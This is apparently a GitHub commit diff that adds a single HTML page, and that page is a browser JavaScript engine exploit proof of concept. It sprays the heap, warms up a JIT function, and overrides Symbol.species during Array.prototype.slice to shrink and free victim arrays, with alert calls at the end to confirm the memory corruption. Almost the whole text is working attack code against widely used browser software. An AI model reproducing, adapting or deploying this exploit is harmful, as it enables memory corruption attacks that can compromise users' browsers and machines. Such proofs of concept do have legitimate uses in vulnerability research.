File tree Expand file tree Collapse file tree 1 file changed +77
-0
lines changed
Expand file tree Collapse file tree 1 file changed +77
-0
lines changed Original file line number Diff line number Diff line change 1+ < script >
2+
3+ let size = 64 ;
4+
5+ garr = [ ] ;
6+ j = 0 ;
7+ function gc ( ) {
8+ var tmp = [ ] ;
9+ for ( let i = 0 ; i < 0x20000 ; i ++ ) {
10+ tmp [ i ] = new Uint32Array ( size * 2 ) ;
11+ for ( let j = 0 ; j < ( size * 2 ) ; j += 2 ) {
12+ tmp [ i ] [ j ] = 0x12345678 ;
13+ tmp [ i ] [ j + 1 ] = 0xfffe0123 ;
14+ }
15+ }
16+ garr [ j ++ ] = tmp ;
17+ }
18+
19+ let arr = [ { } , 2.2 ] ;
20+
21+ let obj = { } ;
22+
23+ obj [ Symbol . species ] = function ( ) {
24+ victim . length = 0x0 ;
25+ for ( let i = 0 ; i < 0x2000 ; i ++ ) {
26+ gvictim [ i ] . length = 0x0 ;
27+ gvictim [ i ] = null ;
28+ }
29+ gc ( ) ;
30+ //Array.isArray(garr[0][0x10000]);
31+ return [ 1.1 ] ;
32+ }
33+
34+ let gvictim = [ ] ;
35+
36+ for ( let i = 0 ; i < 0x1000 ; i ++ ) {
37+ gvictim [ i ] = [ 1.1 , 2.2 ] ;
38+ gvictim [ i ] . length = size ;
39+ gvictim [ i ] . fill ( 3.3 ) ;
40+ }
41+
42+ let victim = [ 1.1 , 2.2 ] ;
43+ victim . length = size ;
44+ victim . fill ( 3.3 ) ;
45+
46+ for ( let i = 0x1000 ; i < 0x2000 ; i ++ ) {
47+ gvictim [ i ] = [ 1.1 , 2.2 ] ;
48+ gvictim [ i ] . length = size ;
49+ gvictim [ i ] . fill ( 3.3 ) ;
50+ }
51+
52+ function fake ( arg ) {
53+ }
54+ for ( let i = 0 ; i < size ; i ++ ) {
55+ fake [ "x" + i . toString ( ) ] = 2.2 ;
56+ }
57+
58+ function jit ( ) {
59+ victim [ 1 ] = 1.1 ;
60+ arr . slice ( ) ;
61+ //fake.x2 = 6.17651672645e-312;
62+ return victim [ 2 ] ;
63+ }
64+
65+ flag = 0 ;
66+
67+
68+ for ( let i = 0 ; i < 0x10000 ; i ++ ) {
69+ xx = jit ( ) ;
70+ }
71+
72+ arr . constructor = obj ;
73+
74+ Array . isArray ( victim ) ;
75+ alert ( 333 ) ;
76+ alert ( jit ( ) ) ;
77+ </ script >
You can’t perform that action at this time.
0 commit comments